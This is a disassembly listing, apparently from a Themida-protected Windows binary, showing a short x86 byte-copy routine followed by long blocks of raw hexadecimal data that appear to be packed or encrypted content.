		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_594270
; ---------------------------------------------------------------------------

loc_59425E:				; CODE XREF: Themida_:0059424Dj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59426D
; ---------------------------------------------------------------------------

loc_594268:				; CODE XREF: Themida_:00594245j
		mov	al, [ebp-3]
		add	al, 4

loc_59426D:				; CODE XREF: Themida_:00594263j
		add	[ebp-1], al

loc_594270:				; CODE XREF: Themida_:00594259j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_594298
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_594283:				; CODE XREF: Themida_:00594292j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_594283

loc_594298:				; CODE XREF: Themida_:00594278j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLI		db '‹Đë-',0
		dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h
		dd 22E4A8D4h, 0AF0E9h, 833B6800h, 0FCE90610h, 68FFFAFCh
		dd 6108472h, 0FAFCF2E9h, 857368FFh, 0E8E90610h,	68FFFAFCh
		dd 610860Ch, 0FAFCDEE9h, 870E68FFh, 0D4E90610h,	68FFFAFCh
		dd 61087F6h, 0FAFCCAE9h, 88E168FFh, 0C0E90610h,	68FFFAFCh
		dd 6108A90h, 0FAFCB6E9h, 8BA368FFh, 0ACE90610h,	55FFFAFCh
		dd 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh, 3EC774Eh, 0A61DC6F9h
		dd 79445CBFh, 0C9F40DFAh, 9CABFD2Ah, 605DA647h,	4AE20EF3h
		dd 0C5849F3Eh, 0BD5AC2B1h, 1DCFBB33h, 7A40C394h, 97ACF0CCh
		dd 9BC12145h, 340EBD84h, 97A2F726h, 7B56A34Ch, 4C584597h
		dd 0B5C7D771h, 77DFE358h, 6B2B1CFDh, 7B03EF9Bh,	261A603Ah
		dd 8DB0C934h, 412BC539h, 71988837h, 2DEFB24h, 0C97310E4h
		dd 5DFC446Bh, 3415B7BFh, 9D4FA340h, 0C9F22470h,	9CA0E35Eh
		dd 8B6583E7h, 273C091Ah, 3C80BDC6h, 519BA0FCh, 416BC0DDh
		dd 222D154Eh, 927E2693h, 460BCC46h, 0E5000009h,	4CB9BA91h
		dd 3AEB0839h, 0E401D2EFh, 53BCA79Eh, 56ED7649h,	0A994EC0Fh
		dd 79445D4Ah, 0CCFB0DFAh, 90ADF617h, 3AB2BE43h,	0C5849E4Eh
		dd 0DE8A72C1h, 0A514F8D5h, 95A8F050h, 0A8F4A2B1h, 58254993h
		dd 80BD9F19h, 17310C15h, 0F67EC238h, 3A60E696h,	0E70F9943h
		dd 3A60E6E3h, 58CC1E64h, 3A60E62Ch, 0F7B15FA3h,	7EB02F6h
		dd 41C62C35h, 2E000000h, 0E4760D6Fh, 20A4C85Ah,	0A7C3941Dh
		dd 0A29FEA53h, 541F084h, 3143BD9Fh, 60CBC9BDh, 0CA645E3Ah
		dd 6294E04Dh, 0E2C2B70h, 2D016579h, 0CDF98959h,	742C3A60h
		dd 0C16A8379h, 0D1472C35h, 0A1000000h, 14F8D5DEh, 0FA605FA5h
		dd 7BCFF20Bh, 0DB61E907h, 1EE2DF2Ah, 7649533Ah,	0ADA04E82h
		dd 40FF6D58h, 0DCDF2105h, 52A22B2Ch, 9445CD7Bh,	39ADB683h
		dd 0C3941A74h, 5C87B2C7h, 816B66B3h, 43370E14h,	5BBF869Ah
		dd 3745A5ADh, 0A3B63E2Ch, 844260FEh, 0A3F9A5BEh, 45C9F40Dh
		dd 3753DB01h, 0B83A60CEh, 68FC6E42h, 446D5F02h,	8FFB73FDh
		dd 30733Dh, 0E914C63Ah,	56B7AC93h, 0C3F47342h, 7A8C6A72h
		dd 80F3788h, 5AAC0000h,	17F063h, 0B6C52231h, 57AF589Bh
		dd 61A8B68h, 569D243Fh,	81526DB7h, 31221F64h, 6EF5C0D4h
		dd 9A597481h, 1773FB71h, 98C58499h, 0DADEB329h,	7A8F78FBh
		dd 1C3E9D4Fh, 997BB056h, 0D6FC881Ch, 0F73C394h,	9A7AFD2Bh
		dd 26E21EBDh, 81D18AFAh, 3E455767h, 9F458F2Ch, 2CEBE631h
		dd 927B6E0Ch, 0D799B78Eh, 9FC6FE5Fh, 870B4FBDh,	6184DFAFh
		dd 1FAE0A3Ah, 368A44E5h, 0BF6D2Ch, 0DE8B0000h, 0A514F8D5h
		dd 549C605Fh, 0C3941B09h, 896A67B0h, 4A3E0B1Ch,	0A50F1580h
		dd 0BF936752h, 6548F75Bh, 5B42F11h, 4D51FFD3h, 0AEC6142Fh
		dd 426028ABh, 0E1BDA69Ch, 0A30D159Bh, 2C00645Bh, 89B8CF3Eh
		dd 71603B4Eh, 40EEBC77h, 194F06AEh, 21C0446Dh, 32383D9Ch
		dd 9F4DA128h, 7EDD2A6Eh, 5B2F197Dh, 0E7A8AF9h, 81307249h
		dd 65E9D42Ch, 0AE9CD21h, 0AFB8879Dh, 8C6B3F32h,	0E0EC141h
		dd 0AD000007h, 14F16259h, 0C2233001h, 0AC599AB7h, 1BF46F56h
		dd 9E253E01h, 516CB457h, 211C6582h, 0F4C3D532h,	5875BE6Fh
		dd 72FA769Bh, 0C5849816h, 0DEB22A99h, 8F78FBDAh, 709D4F7Ah
		dd 79FA1425h, 0F8D5DE9Bh, 46798372h, 0ACF9A0A8h, 0BD31FE04h
		dd 0C3941DC9h, 2C00645Eh, 1DDFAF37h, 8DEFC394h,	96C064F6h
		dd 19BD849Bh, 7CA93B21h, 3333C329h, 0E98F7A91h,	23CD01F5h
		dd 77ECD92Ah, 0CCB08D96h, 4E798F7Eh, 0FB801CA0h, 8E0CFD71h
		dd 0B9814470h, 6D0125AEh, 0F95EB48Ch, 675h, 6A89C0D2h
		dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h
		dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h,	849BBDC9h
		dd 0DD4332C5h, 1A6DD5DEh, 3675B2Fh, 0FE0EADBFh,	0AC28B662h
		dd 63790DA1h, 0F4CEC394h, 82977690h, 51AC3B7h, 0EA4AAAE3h
		dd 9AFEFB97h, 0C4802436h, 4BC39413h, 477E8677h,	81C569F3h
		dd 6C39413h, 283013Ch, 1FBC8E08h, 745CF888h, 201D66CDh
		dd 0EA04785Ch, 0C3D43DC8h, 7A936DF6h, 5732416Dh, 0Eh, 0F2CFD8C5h
		dd 261CCA0Eh, 195C8h, 27A75000h, 17C3941Dh, 0E26CFE85h
		dd 66EAE533h, 7C435B22h, 0CA9AB488h, 0BD849BB1h, 0FB2A300Ah
		dd 85C165AEh, 0A3A7B63h, 63DAAEC6h, 55AD3A7Bh, 29C61D71h
		dd 0E97BE1DCh, 0E37CC972h, 0E9794F22h, 3A7BAB9Dh, 9DEF2812h
		dd 7B971761h, 0C82028C6h, 29BDAFB4h, 447085D8h,	0FBE26D55h
		dd 6E8C6D08h, 57323E4h,	0C6D00000h, 6CBB548Fh, 1A69865Dh
		dd 0CBD33C27h, 7ABE6FF4h, 3239985Bh, 65FEC1DBh,	954E7388h
		dd 0C2112C78h, 7EE5D025h, 0B3D75F8Dh, 34C5849Ah, 0D5DEDF45h
		dd 0D7C614F8h, 0C90DF1C0h, 7DE52E1Fh, 54381C2Bh, 0F41DA8EAh
		dd 174496A3h, 0DC29FF3Dh, 1E391DE1h, 86A07669h,	7FFA13EDh
		dd 7D73241h, 31000000h,	0C9C8h,	0D6F5000h, 0C85AE476h
		dd 941D20A4h, 0AB41E7C3h, 0F2329B4Bh, 1B44E605h, 5E7B3F48h
		dd 2838CC7Ah, 4ABD8408h, 0F482D315h, 64BF1470h,	98A79B3Ah
		dd 0F7657CF6h, 64D00B7Fh, 88A69C3Ah, 0E5DC228Bh, 59AA5B81h
		dd 0D16F76Ch, 502C4C30h, 0FE8D21CBh, 4F447456h,	0E334E10Bh
		dd 97E00DD6h, 0C6D6D6BAh, 2A07AFBDh, 564E7F51h,	5824A0C4h
		dd 57AB2E41h, 0A0F55AB9h, 49B6B195h, 60927C4Eh,	48B2DE2h
		dd 0DE280000h, 84937CE7h, 3241AEB5h, 0D32BC41Fh, 829677ECh
		dd 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h, 0EA094450h, 6DDE83Dh
		dd 8BFF77F5h, 1CC5849Ah, 5FC837ADh, 24000001h, 1D76129Ah
		dd 81F9C394h, 1DB7D35Bh, 0C238C394h, 0D6F3E24h,	0AB5AE476h
		dd 31C5635Eh, 0BD849B31h, 0E716C43Eh, 48B5A792h, 5ABE023Fh
		dd 0C9DACBACh, 0C92D1069h, 0FE06F745h, 11754C52h, 0FFBF69ADh
		dd 0CA54869Dh, 7B6026A2h, 605FA73Ah, 0DDFB89Ch,	7B60ED99h
		dd 2418623Ah, 0BFCC600Ah, 30446BE6h, 197D4C5Fh,	415441D3h
		dd 2277D670h, 0D623CC17h, 4FE771FBh, 304AE63Bh,	45946D8Ch
		dd 45253628h, 2B43C761h, 0CBD13C51h, 5C087CF4h,	5DF304Ah
		dd 9ECCDFEBh, 6246BC1Bh, 0F1F16EF8h, 0DA96CB8Ah, 0AE8353FDh
		dd 0BF4E414Dh, 413D8C5Bh, 9E74927Eh, 3A039h, 0DCEB3F00h
		dd 0A29FE607h, 744554B1h, 0D9F83EEFh, 0A897ED1Ah, 6E50C4Bh
		dd 0F710C3F2h, 0A74093AEh, 10FD6651h, 0E029CA07h, 95E0E408h
		dd 9867C584h, 0F8D5DE20h, 6550A514h, 85C165F7h,	0AC3941Dh
		dd 44321630h, 495A4342h, 0B865E77Ch, 48B25C6Dh,	3240F0A1h
		dd 5188h, 33BD5400h, 941DCFBBh,	0CC7A40C3h, 4597ACF0h
		dd 9EE17621h, 5983F7BDh, 0FE6C5DACh, 0AE8CF86Ch, 0AA033A60h
		dd 0A79B6F56h, 5CC2A543h, 3A60AE2Dh, 0F56E5BACh, 145E97Bh
		dd 863A60AEh, 8EB5CDBCh, 0A39EED60h, 9AE00DDFh,	55F3D7BBh
		dd 2F8EEh, 0D6DE7600h, 51A20BFFh, 0DF3C05BFh, 0A88C5D7Dh
		dd 7C495A4Bh, 0F9D42188h, 5B728273h, 0F27593F7h, 9943D8A4h
		dd 609A9E0Fh, 13D7F9FDh, 9A6E42CEh, 71FC88A6h, 0ABBD9F9Ah
		dd 0A91D247Ah, 665CBB55h, 63325292h, 0BDE73A61h, 8B31D830h
		dd 38182C35h, 0E4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh
		dd 0E64E5B4Ah, 0FED2A69Bh, 34D2369Ah, 60CB20A0h, 7A59A13Ah
		dd 0E6D12796h
		dd 0EFFE3012h, 0AB3A7E93h, 35C6B851h, 0B7912Ch,	0DE7F0000h
		dd 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 9FAAFF67h, 69F3D72Bh
		dd 1D3357DFh, 0DBB4C394h, 719FF3CEh, 1B5D60F6h,	8B9CC394h
		dd 3F48A5BEh, 1E7EBE02h, 0B65FD705h, 74260D6h, 26762033h
		dd 0A6A7CF1Dh, 27446D62h, 77FF09D3h, 30732813h,	0EE80AE94h
		dd 10DAE53Fh, 281A6E86h, 0ED3073h, 1BE2C6FBh, 0B4F330Eh
		dd 97ED1ADDh, 8BCF2973h, 391D67F6h, 69B0CD2Eh, 41060C8Ch
		dd 1F1h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h
		dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h
		dd 0D913F87Bh, 84973155h, 51C7B6C5h, 78FBDADEh,	944F7A8Fh
		dd 800D6F6Ch, 941D186Ch, 355BAFC3h, 23ACBC51h, 0E00A6E54h
		dd 4F545D7Bh, 9D949620h, 193BC4B0h, 34B65000h, 0F09418AAh
		dd 79C39438h, 5EA4132Eh, 207524B0h, 6697BD9Fh, 64582C11h
		dd 81754DCAh, 60E121A1h, 21ACF43Ah, 34C1249Bh, 53210C03h
		dd 80AE9BEAh, 35016F9Eh, 0CC5A2Ch, 0BDA20000h, 1DCFBB33h
		dd 464EC394h, 0F847BB0Fh, 1D94F074h, 271BC394h,	0DF2825C3h
		dd 55AF1EE2h, 34EE66Ah,	0BAC3941Bh, 66875C69h, 5C5C201Dh
		dd 0BD313B40h, 4260D654h, 5402D129h, 0E2ACE848h, 40D7A618h
		dd 51B51934h, 4C7D8C7Dh, 0BAA084F8h, 6DD73032h,	54A75644h
		dd 93BD9165h, 129C4EB4h, 72B4EE9Ah, 0EF196130h,	2088907Dh
		dd 5182E6DBh, 96516CB4h, 8C6AEA4Fh, 0DEEFA0A2h,	7D000000h
		dd 24C11229h, 9273E0D1h, 7CA94A87h, 2BC41F26h, 0CE75EED1h
		dd 13C44A7h, 0D1EC35D2h, 0A493E502h, 8454EBFh, 0A2CA26EBh
		dd 0C5849626h, 0DE62DAA9h, 8F78FBDAh, 6F3B947Ah, 38D2AC79h
		dd 718E428Fh, 22C80099h, 9459FE8Ah, 150971C3h, 0D5DE36CEh
		dd 50A514F8h, 0A248F765h, 4ED2EABDh, 0D8540F39h, 19EDD82Dh
		dd 0E9B30B25h, 0C648852h, 0C3BD8478h, 5A2E1B6Ah, 7C681C90h
		dd 9BFF3A64h, 0EFF43A7h, 55AC1305h, 9C58125h, 704A3A64h
		dd 628713C7h, 0EF38D50Eh, 0B1053447h, 4795795Dh, 0A3D5B135h
		dd 605A3A64h, 44043EC6h, 0AA8059AFh, 94A1F21Bh,	78555E4Fh
		dd 0E6DD2594h, 20ADE712h, 29146D98h, 46C761A5h,	0B782953Dh
		dd 41AB8FC3h, 0D4724F54h, 94A1F213h, 36F20h, 84890000h
		dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
		dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4768CF7Bh
		dd 89000032h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h
		dd 2C895C24h, 22916824h, 4890000h, 33B95124h, 8126C401h
		dd 0B37EA8E9h, 0CE895620h, 595EF589h, 2F4768h, 24248900h
		dd 4240481h, 58000000h,	4EC81h,	2C890000h, 8408F24h, 582434FFh
		dd 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0FAF21AE9h, 74651DFFh, 8CA6B8FCh,	0C5030610h
		dd 4A27E0FFh, 0BFF14522h, 0D8B47004h, 0D50069B7h, 8FB63557h
		dd 37AC21DDh, 1FA2773Ch, 0C7183048h, 7EFF3ED3h,	0FE28671Fh
		dd 0A9187219h, 0E465466Dh, 4901067Dh, 0B9252964h, 0F8747CCh
		dd 533D3C33h, 0F6261FE4h, 0F41F44D6h, 0A3C2584h, 6D0033C6h
		dd 576E031Ch, 83402B34h, 718834F5h, 87560C6Fh, 0BAC11AE0h
		dd 36EA5094h, 0B80F6CB1h, 0F0F66A3Fh, 53082B52h, 8D8D5AC2h
		dd 6108E4Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0A6C35646h, 394AB55Ah, 174D8D89h, 6A060Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BB9DBC3h, 0B2E7D95h, 1985C706h, 60060B01h, 6A000073h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C5DAC351h, 2858F460h, 5467DABBh,	100985C7h
		dd 60Bh, 7E90000h, 0D4000000h, 4A47EBAEh, 0B5FF85D3h, 60B0105h
		dd 23F5BD89h, 95FF060Bh, 60B0AC5h, 6AC7BF0Fh, 0DD95FF00h
		dd 8B060B32h, 4F2CEBC0h, 5646B110h, 0AC51FDC7h,	0FB749A87h
		dd 1C50935Fh, 9477204Fh, 4C7DE24Ah, 345CBF14h, 0B450DB32h
		dd 0A577B7D1h, 0E863BCAFh, 0E95ADEC6h, 15Ch, 0F2DC1FBBh
		dd 94C44B81h, 8D65891h,	51DD562Bh, 8DE56F0h, 51D55897h
		db 9Dh,	71h
word_594F42	dw 38FEh		; DATA XREF: ___:off_438108o
		dd 51AC248Fh, 0C68C25A3h, 62387939h, 50EBB6BDh,	519A1497h
		dd 519A159Fh, 519A14DBh, 519A14E9h, 519A14F6h, 519A147Bh
		dd 519A1492h, 519A14DEh, 519A1467h, 519A14B7h, 25E96D88h
		dd 719A7988h, 32F566A6h, 0CE9671Eh, 519A14BDh, 519A14DEh
		dd 519A146Fh, 519A14B7h, 519A14DBh, 519A14EDh, 519A14F6h
		dd 519A147Bh, 519A14BDh, 519A14DEh, 519A146Fh, 519A14B7h
		dd 519A14DBh, 519A14EDh, 519A14F6h, 519A147Bh, 519A14BDh
		dd 519A14DEh, 519A146Fh, 519A14B7h, 519A14DBh, 519A14EDh
		dd 519A14F6h, 519A147Bh, 519A14BDh, 519A14DEh, 519A146Fh
		dd 519A14B7h, 519A14DBh, 519A14EDh, 519A14F6h, 519A147Bh
		dd 519A14BDh, 519A14DEh, 519A146Fh, 519A14B7h, 519A14DBh
		dd 519A14EDh, 519A14F6h, 519A147Bh, 519A14BDh, 519A14DEh
		dd 519A146Fh, 519A14B7h, 519A14DBh, 519A14EDh, 519A14F6h
		dd 519A147Bh, 519A14BDh, 519A14DEh, 519A146Fh, 519A14B7h
		dd 519A14DBh, 519A14EDh, 519A14F6h, 519A147Bh, 519A14BDh
		dd 519A14DEh, 519A146Fh, 519A14B7h, 519A14DBh, 68445C08h
		dd 16DBE9h, 91EB6800h, 46E90610h, 68FFFBB3h, 61092CDh
		dd 0FBB33CE9h, 93B968FFh, 32E90610h, 68FFFBB3h,	6109492h
		dd 0FBB328E9h, 965568FFh, 1EE90610h, 68FFFBB3h,	610978Bh
		dd 0FBB314E9h, 989C68FFh, 0AE90610h, 68FFFBB3h,	610996Bh
		dd 0FBB300E9h, 9B8468FFh, 0F6E90610h, 68FFFBB2h, 6109C7Ch
		dd 0FBB2ECE9h, 9D5368FFh, 0E2E90610h, 68FFFBB2h, 6109DF9h
		dd 0FBB2D8E9h, 9F9B68FFh, 0CEE90610h, 68FFFBB2h, 610A41Eh
		dd 0FBB2C4E9h, 0A52168FFh, 0BAE90610h, 0CFFFFBB2h, 886BD4B2h
		dd 43A6116Dh, 2E5522Ch,	0C41FE8E6h, 705D2AA4h, 3B93EBBFh
		dd 7650A94Ch, 0B20C6E89h, 0F2CC22C5h, 0A7B0EC05h, 7BADECDAh
		dd 7654B0F9h, 0ADED20EDh, 3CCB377Bh, 5836B445h,	0FBD329B2h
		dd 0B5CB0C0Ch, 40CF33D9h, 508E746Ah, 346CFC72h,	385B9B71h
		dd 0D24CFB3Fh, 6E99750Eh, 8ACE8F9Bh, 9F48A64Fh,	6F92CD12h
		dd 0D8DAB321h, 2B1A32C1h, 5B1CC04Fh, 20CAA620h,	933E3E8Fh
		dd 0A68686Fh, 3C763B2Ch, 0BD9D6F93h, 933CE9B6h,	5320E6Fh
		dd 0CE358C7Fh, 51BC0D09h, 43h, 482E47Fh, 0BD393AE6h, 514F36C1h
		dd 5D1BE073h, 0E501759Dh, 7D9F43E9h, 0A638729Dh, 79F1625Ch
		dd 744F8A74h, 7CCD6684h, 166F9234h, 2D96EBDEh, 0FEBC0E18h
		dd 0D7h, 0EAB7A09Eh, 96F923Eh, 0B49F0631h, 0CCB25836h
		dd 5CB845EEh, 63DF759Dh, 0FDD911D4h, 97D6114Fh,	2F4A0D3Fh
		dd 2B75FB57h, 739CB074h, 2B4124D3h, 0C826B953h,	135790CEh
		dd 4A9D8CBBh, 759E1208h, 58C203C9h, 0E7963ED9h,	675F9D58h
		dd 0A71F5D98h, 1E9FD85h, 4D603C27h, 0E5554F8Bh,	64CE101Ah
		dd 0D32B2C0Ah, 0C54A9DFBh, 0D26F930Ch, 9B16E16Eh, 80498539h
		dd 0F7605EB8h, 69855A2Ah, 7A549649h, 3513719Eh,	32DDB932h
		dd 0F05F37B7h, 5B99F575h, 0E45980EDh, 26AD6802h, 5F000014h
		dd 18DBA422h, 0D316E1DDh, 9255229Ch, 548F7856h,	0C0CDBA14h
		dd 8B037B2Fh, 0C6C0393Ch, 27CFE79h, 423CB2B5h, 0D7007CF5h
		dd 7BADEE4Ah, 0B43D2069h, 0DDB93D34h, 1D539661h, 7BEFD6A1h
		dd 0B6A19F63h, 4F8A7436h, 7725C73Bh, 0EC1E78FCh, 0E770030Ch
		dd 816F9233h, 0C304804Bh, 201C46AAh, 0D8B4A529h, 73D8D37Ch
		dd 34BC0E1Dh, 0B3h, 5836B4C1h, 92D129B2h, 0E7DF1958h, 2ABDAF0Bh
		dd 759D58A8h, 0A7106E8Ch, 7650AEA9h, 0F6D02EC9h, 6E06654h
		dd 0A611D34Dh, 0CB1397A0h, 30ECEA00h, 61710DD6h, 0B2B84F8Ah
		dd 64666375h, 0C0D77175h, 9BD598AEh, 0F885AE88h, 1F6F91F5h
		dd 0F7681423h, 33EF1D79h, 1CC2E857h, 0A76FF8D6h, 0BA498425h
		dd 8FEF6846h, 4DAD4837h, 949FF371h, 1AB0E45Ah, 13443Bh
		dd 8A047900h, 0C7BF3A3Dh, 7EFD78h, 5E38BCB7h, 98F676F1h
		dd 511DE2Fh, 0DB1EE9E5h, 985B24A2h, 5C97605Eh, 12D7A01Eh
		dd 0EF2CF162h, 464B7BADh, 5A34B41Fh, 482FB7Ch, 93E90CFBh
		dd 0B4554C3Bh, 0E57E5836h, 51FB0482h, 3690E86Bh, 0B6106E09h
		dd 615D9F58h, 9AF470CBh, 172C8870h, 0EC4CFED8h,	0FA71F463h
		dd 0AF0B83FBh, 0CAC43ABDh, 42399A7Dh, 1A78569Ch, 426A0D9h
		dd 5C820FD4h, 9A4D759Dh, 759D5D15h, 5E3CDE22h, 9D5D0895h
		dd 77D32F75h, 531FC8C8h, 0BA4F8A74h, 0B94640B9h, 895C3B07h
		dd 75FFE441h, 1D5904DAh, 78EBC5A1h, 51F51BE4h, 0B7C369D1h
		dd 6AEDCB2Fh, 0AA96B412h, 0DB169B4Ch, 0DD3D71FCh, 10815232h
		dd 0F4BEE5Eh, 0DC12D533h, 274384E2h, 53B1A0AFh,	0CD7F5790h
		dd 0E907E26Dh, 7D0D57EDh, 6802E1F0h, 1258ADh, 96F00D00h
		dd 0D3ABCE29h, 6C6A8164h, 0AA2440A3h, 0E4E21ADDh, 29FD321Bh
		dd 0EF0AF5D1h, 0AC47308Eh, 60834C4Ah, 2EC38C0Ah, 0F018E54Eh
		dd 723F7BADh, 5836B40Bh, 3A00E6B2h, 0EBE31BDCh,	4B579941h
		dd 0EF7698F2h, 0B5BE1E29h, 4F8A9109h, 80632C2Ch, 80FE6C6Ah
		dd 0BDAF2747h, 6A64865Dh, 2911D5DDh, 1F764CFh, 0E2C04982h
		dd 81E0AC71h, 0C877CB69h, 506B4E14h, 0F2AF760h,	0F1496982h
		dd 132F5A7Fh, 0F87B59B7h, 0B9E70581h, 8251E1AEh, 0AE0AF669h
		dd 0CF785695h, 0FF8D614h, 123896D4h, 0BC9A6086h, 6866855Eh
		dd 66F11EC2h, 4371E419h, 63E4C23Eh, 23C6B10Dh, 4F5BF1CDh
		dd 78323997h, 0BA29C341h, 4182E0DEh, 0D7A2AD29h, 3D5F4733h
		dd 3C08CA36h, 0D3F07794h, 117FDC39h, 0C9260000h, 84E702CDh
		dd 43BABD0Ah, 0FD79FC4Bh, 0BB333681h, 0D61B74C3h, 632CAAC2h
		dd 0A06F6780h, 0DCAB2345h, 1CEBE319h, 0F1BEA9D7h, 67BADF0h
		dd 34B4548Bh, 80FB7C5Ah, 0B34E406h, 0DD0161Ch, 0E07B91EDh
		dd 231F0D89h, 0AF8DEB47h, 0CD7A5494h, 8A6A363Ah, 26449F4Fh
		dd 0B15E82A8h, 0DF16540Fh, 0DB0725A1h, 0D669837Fh, 96513E98h
		dd 22007E58h, 92496C31h, 88B78B6Fh, 0C02ABCC4h,	0B54288E6h
		dd 12EFC683h, 0FA9E6996h, 0F497F4Bh, 28461933h,	0EB36BCAEh
		dd 73E8F8EBh, 0AA24449Fh, 0B118DE80h, 705B91F7h, 0B6A19BD1h
		dd 6986F5E9h, 33D9B537h, 11CD4DCFh, 0C2BC3C37h,	0D847F028h
		dd 0B3A40CD2h, 6986F5EEh, 7F593505h, 28A6C601h,	388541Fh
		dd 0ADAD4374h, 1876F073h, 4F010EF2h, 6436DB11h,	0DE322785h
		dd 5E38B631h, 661EA60h,	83B3044Ah, 42EDB2A5h, 360A637Ch
		dd 0DD134709h, 8F58B6EEh, 637C4302h, 941E2911h,	0A58EE852h
		dd 3D695099h, 70F35CBCh, 680FBFAh, 9E2F80AAh, 0B45D7141h
		dd 2FB05A34h, 4A0698CCh, 6044D1D3h, 0B016684h, 5BD1C6C0h
		dd 449BD170h, 51ABA826h, 0CB2E9975h, 6733D9B5h,	8A5DBB7Fh
		dd 375DDCDAh, 98C7BC7h,	0E2489E89h, 6F365384h, 5B913155h
		dd 7BF1C2EFh, 0F355CD03h, 0A59547F0h, 0D69EACAh, 8BE386B1h
		dd 2B1FD533h, 0DB4428C5h, 1A400C3Bh, 0A25E3DD4h, 1A25216Eh
		dd 54C1FE4Fh, 7FC31B51h, 53D1D601h, 6AD62B44h, 0D9B5CB0Ch
		dd 8A0464FFh, 0A08FB860h, 71AF2745h, 333BC013h,	0E0584B44h
		dd 32D05D86h, 1BE74B44h, 5F9F20ECh, 0A7ABED67h,	0AA40029Ah
		dd 0FBC6Bh, 328CE100h, 4F47A245h, 88066580h, 0C6C0243Fh
		dd 7EFE79h, 8D9956B7h, 43A6116Dh, 0E3AC2Ah, 0C41FE8E6h
		dd 8A5F28A6h, 0F2B479EAh, 0CEC37BADh, 5A34B497h, 9AF40AEDh
		dd 0AFC90A70h, 2F4D28D7h, 61DDB930h, 6554ACCBh,	5F28A6C4h
		dd 0D6C4EB61h, 95834BD7h, 6DCD7F57h, 0C02B86B1h, 63B6023Dh
		dd 17Eh, 5836B474h, 0FBD329B2h,	8102579Dh, 2D239BDCh, 2445E863h
		dd 0D241CEAAh, 1F5B06D8h, 7AEDCBA7h, 4F8A862Eh,	0A205271Bh
		dd 6F928619h, 0FB4EBDB3h, 0BC0DC190h, 3413h, 637B2400h
		dd 36B6A19Fh, 3B4F8A74h, 398225C7h, 2F6F9234h, 8659F3CBh
		dd 91C16B63h, 2F386C5Fh, 6F923262h, 6A2D8971h, 69D22792h
		dd 3ABC0E18h, 0B8h, 5836B4DBh, 9FD129B2h, 559159BFh, 0D96FD379h
		dd 0CF3C0BAFh, 0C190DCDCh, 4DFF5B37h, 0F01A748Ah, 5531498Ah
		dd 39BC4BB7h, 0E97CCBC3h, 759DCF67h, 77512D43h,	549F79FCh
		dd 759DCDC7h, 0BEB06CECh, 76414754h, 0F160EF78h, 0E3DD25B9h
		dd 906B2A70h, 95F34F4Fh, 0D3BC1A52h, 64FED810h,	0DE4E513Ch
		dd 86DC39D3h, 3F00000Eh, 0F87BC4C2h, 0B3B6017Dh, 72F5423Ch
		dd 342F98F6h, 606DDAB4h, 2BA3DBCFh, 6660995Ch, 0A21C5E99h
		dd 0E2DC12D5h, 0B7A0DC15h, 7BADF3EAh, 0B45D8009h, 1E7C5A34h
		dd 3B28A6C5h, 759D5C76h, 0A392BD9Dh, 0B4CB2A40h, 0A66BFCDAh
		dd 0CD759D5Ch, 3F26914Dh, 78569651h, 6E16ED2h, 157189E8h
		dd 0B2C893B9h, 0F6D6BD4h, 9D5D5724h, 739C7C75h,	57B7AF0h
		dd 95F32D89h, 9D5CBD42h, 0D966DA75h, 0B77B6337h, 59F79359h
		dd 1CDF69E4h, 0BCB795F3h, 76AA403Eh, 8E663EC9h,	655B4F8Ah
		dd 926E2DF2h, 5B914A6Fh, 5C2B8763h, 7E5E3h, 96518400h
		dd 0D41F7955h, 759D5D47h, 8063EC6Ch, 91ED0968h,	0B5C1735h
		dd 16759D5Eh, 0DB0C6AD0h, 4F8CEFE6h, 30336DEDh,	4442BAB9h
		dd 719E42E8h, 0CD73513h, 6F8CCE7Fh, 0CB714DADh,	0EEFBE11Dh
		dd 817D46C6h, 0A2AD2942h, 622DA9C7h, 0FF6D6987h, 95174B81h
		dd 0F01685C4h, 724CAC47h, 5201D2F0h, 72D379DEh,	0D75h
		dd 0CFBD328h, 47308EE9h, 86714DACh, 0C08F0763h,	7EC9C525h
		dd 0B434E011h, 718A6DDAh, 2D4FAA15h, 0ED03E651h, 53CD2691h
		dd 0ADF4FB80h, 6E91187Bh, 0ED5A34B4h, 7FFDF40Ah, 5935E507h
		dd 0F30ACDB3h, 0A11D79FCh, 219DD396h, 3837B00Bh, 0F72BC1BDh
		dd 0C6EF11Bh, 51B98B2h,	774FABB6h, 968965D5h, 0C8AED66h
		dd 4F15221Eh, 378FED7Ch, 0EDFE6548h, 0DA1B602h,	0B6000000h
		dd 9D52C9A4h, 9A11E875h, 36FFFFFDh, 79559651h, 26316FD3h
		dd 759D5D59h, 0E275827Eh, 759D5E59h, 0B41269EAh, 159DAA96h
		dd 240F69D1h, 4F8CEFEFh, 2C0A64D4h, 5991D02Bh, 0B76B817Dh
		dd 0B35C3ABCh, 73DCBA30h, 0EE1C7AF0h, 0BBB91555h, 0DE520C13h
		dd 0A65FBE2Ch, 0DF00000Ch, 985B24A2h, 5396615Dh, 12D5A21Ch
